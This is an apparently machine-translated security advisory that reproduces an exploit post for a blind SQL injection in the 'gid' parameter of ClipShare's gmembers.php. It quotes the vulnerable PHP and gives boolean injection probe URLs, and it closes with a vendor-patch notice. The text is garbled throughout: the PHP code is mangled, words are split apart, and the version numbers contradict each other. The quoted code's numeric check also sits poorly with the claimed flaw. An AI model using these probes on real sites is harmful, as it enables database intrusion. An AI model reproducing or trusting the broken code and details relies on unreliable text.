ClipShare 'gid' parameter SQL Injection Vulnerability

Release date:
Updated on: 2013-03-26

Affected Systems:
Clipshare ClipShare 4.1.4
Description:
--------------------------------------------------------------------------------
Bugtraq id: 58681
 
ClipShare is a script to enable the video sharing community website.
 
ClipShare 4.1.1 (gmembers. php) has the SQL blind injection vulnerability in implementation, which affects the vulnerability when a group is added to the community. To exploit this vulnerability, you must disable the MAGIC_QUOTES_GPC command on the server.
 
<* Source: Esac
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
# Exploit Title: ClipShare 4.1.1 (gmembers. php) Blind SQL Injection Vulnerability
# Exploit Author: Esac
# Vulnerable Software: ClipShare-Video Sharing Community Script 4.1.4
# Official site: http://www.clip-share.com
# Software License: Required cial.
# All versions are vulnerable:
# Note: this vulnerable work just if there is a group added to the community
# Last Checked: 24 march2013

# To exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side. (php. ini)

========================================================== ========================================================== ====================

# Vulnerable Script:
PHP script: members. php on line 23

======================================== Begin of gmembers. php ======================================================== ======

<? Php
/*************************************** **************************************** *****************
| Software Name: ClipShare-Video Sharing Community Script
| Software Author: Clip-Share.Com/ScriptXperts. Com
| Website: http://www.clip-share.com
| E-mail: office@clip-share.com
| *************************************** **************************************** *******************
| This source file is subject to the ClipShare End-User License Agreement, available online:
Http://www.clip-share.com/video-sharing-script-eula.html
| By using this software, you acknowledge having read this Agreement and agree to be bound thereby.
| *************************************** **************************************** *******************
| Copyright (c) 2006-2007 Clip-Share.com. All rights reserved.
| *************************************** **************************************** *******************/

Require ('include/config. php ');
Require ('include/function. php ');
Require ('classes/pagination. class. php ');
Require ('language/'. $ _ SESSION ['language'].'/gmembers. lang. php ');

$ Gname = NULL;
$ Gurl = NULL;
$ Oid = NULL;
$ Gid = (isset ($ _ REQUEST ['gid']) & is_numeric ($ _ REQUEST ['gid'])? Mysql_real_escape_string ($ _ REQUEST ['gid']): NULL;
$ SQL = "SELECT * FROM group_own WHERE GID = '". $ gid. "'limit 1 ";
$ Rs = $ conn-> execute ($ SQL );
If ($ conn-> Affected_Rows () = 1 ){
$ Urlkey = $ rs-> fields ['gurl'];
$ Gname = $ rs-> fields ['gname'];
$ Gupload = $ rs-> fields ['pload'];
$ Oid = $ rs-> fields ['id'];
STemplate: assign ('gname', $ gname );
STemplate: assign ('gurl', $ urlkey );
STemplate: assign ('pload', $ gupload );
} Else {
Session_write_close ();
Header ('location: '. $ config ['base _ url'].'/error. php? Type = group_missing ');
Die ();
}
........................................ ...;
........................................ .......

?>

========================================================== ========================================================== ======================================

Poc:

Http: // server/mavideo/gmembers. php? Gid = 6 [Blind SQLi]

Real exploitation:

Http: // server/mavideo/gmembers. php? Gid = 6 AND 1 = 1
==> Return normal page

Http: // server/mavideo/gmembers. php? Gid = 6 AND 1 = 2
==> Return page with some errors (or with nothing-white page)

 

Bytes --------------------------------------------------------------------------------------
PwnEd.
Tested version:
Sunday, March 24,201 3 | Version: 4.1.4 | Username: admin | Logout
Copyright & #169; 2006-2008 ClipShare. All rights reserved.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~

Greetz: White Tarbouch Team

./Esac

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Clipshare
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
 
Http://www.clip-share.com/